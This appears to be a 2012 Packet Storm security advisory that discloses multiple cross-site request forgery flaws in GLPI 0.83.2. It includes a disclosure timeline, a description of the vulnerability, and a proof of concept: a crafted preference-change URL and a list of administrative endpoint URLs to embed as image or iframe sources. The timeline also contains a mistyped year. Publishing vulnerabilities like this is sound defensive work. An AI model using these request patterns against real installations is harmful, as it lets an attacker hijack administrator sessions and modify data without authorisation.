GLPI 0.83.2 Cross Site Request Forgery

2012-07-12T00:00:00
ID PACKETSTORM:114707
Type packetstorm
Reporter Prajal Kulkarni
Modified 2012-07-12T00:00:00

Description

                                        
                                            `Hi,  
  
  
  
This is regarding multiple CSRF (Cross Site Request Forgery)  
  
Vulnerabilities in [GLPI Version 0.83.2]. The following  
  
is the disclosure document:  
  
  
  
Title: Multiple CSRF Vulnerabilities in [GLPI Version 0.83.2]   
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
Project: [GLPI Version 0.83.2]   
  
Severity: High  
  
Versions: 0.83.2 (other versions may be affected)  
  
Exploit type: Multiple CSRF  
  
Fixed: New release GLPI 0.83.3   
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
Timeline:  
  
27 June 2012: Vendor Contacted  
  
27 June 2010: Vendor Response received  
  
5 July 2012: Vendor releases new version  
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
Product Description:  
  
GLPI is the Information Resource-Manager with an additional  
Administration- Interface. You can use   
  
it to build up a database with an inventory for your company (computer,  
software, printers...). It   
  
has enhanced functions to make the daily life for the administrators  
easier, like a   
  
job-tracking-system with mail-notification and methods to build a  
database with basic information   
  
about your network-topology.  
  
(Source: http://www.glpi-project.org/spip.php?article43)  
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
  
  
Affected Files/Locations/Modules: /glpi/front  
  
  
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
  
  
  
  
Vulnerability Details:  
  
An attacker can execute functions as an authenticated user by tricking a  
  
user into making requests to the Server. The attack works by including a  
  
link or script in a page that accesses a site to which the user is known  
  
(or is supposed) to have been authenticated. Successful exploitation of  
  
these vulnerabilities could result in, but not limited to, compromise of  
  
the application, theft of cookie-based authentication credentials,  
  
arbitrary page redirection, disclosure or modification of sensitive data  
  
and phishing attacks.  
  
  
  
Since the vulnerabilities also exist in the administrative module, a  
  
successful attack could cause a complete compromise of the entire  
  
application. An attacker can send a link with the exploit to an  
  
administrator whose access could compromise the application.  
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
  
  
Proof of Concept:  
  
Create a html content (img, iframes etc.) with the following PoC URLs as  
  
src and host for the authenticated victim.  
  
  
  
  
  
Eg URL:   
  
http://localhost/glpi/front/preference.php?name=glpi&id=2&realname=Attac  
ker&language=en_GB&use_mode=  
  
0&update=Update  
  
  
  
More Links:  
  
http://localhost/glpi/front/user.form.php?id=3  
  
http://localhost/glpi/front/user.form.php?id=2  
  
http://localhost/glpi/front/user.form.php?id=5  
  
http://localhost/glpi/front/user.form.php?id=4  
  
http://localhost/glpi/front/user.form.php?new=1  
  
http://localhost/glpi/front/profile.form.php?id=3  
  
http://localhost/glpi/front/ruleimportcomputer.form.php  
  
http://localhost/glpi/front/popup.php?popup=edit_bookmark  
  
http://localhost/glpi/front/group.form.php  
  
http://localhost/glpi/front/entity.form.php  
  
http://localhost/glpi/front/popup.php  
  
http://localhost/glpi/front/auth.settings.php  
  
http://localhost/glpi/front/crontask.php?execute=*  
  
http://localhost/glpi/front/fieldunicity.form.php  
  
http://localhost/glpi/front/config.form.php  
  
http://localhost/glpi/front/notificationmailsetting.form.php  
  
http://localhost/glpi/front/*?reset=reset  
  
http://localhost/glpi/front/backup.php?  
  
  
  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
  
  
  
Regards,  
  
  
  
Prajal Kulkarni ||   
  
Vulnerability Assessment & Penetration Testing  
  
Mobile: 9738302731 ||   
  
<http://www.microland.com/innovation.php>   
  
  
  
  
  
The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.   
Any review, re-transmission, dissemination or other use of or taking of any action in reliance upon,this information by persons or entities other than the intended recipient is prohibited.   
If you received this in error, please contact the sender and delete the material from your computer.   
Microland takes all reasonable steps to ensure that its electronic communications are free from viruses.   
However, given Internet accessibility, the Company cannot accept liability for any virus introduced by this e-mail or any attachment and you are advised to use up-to-date virus checking software.   
`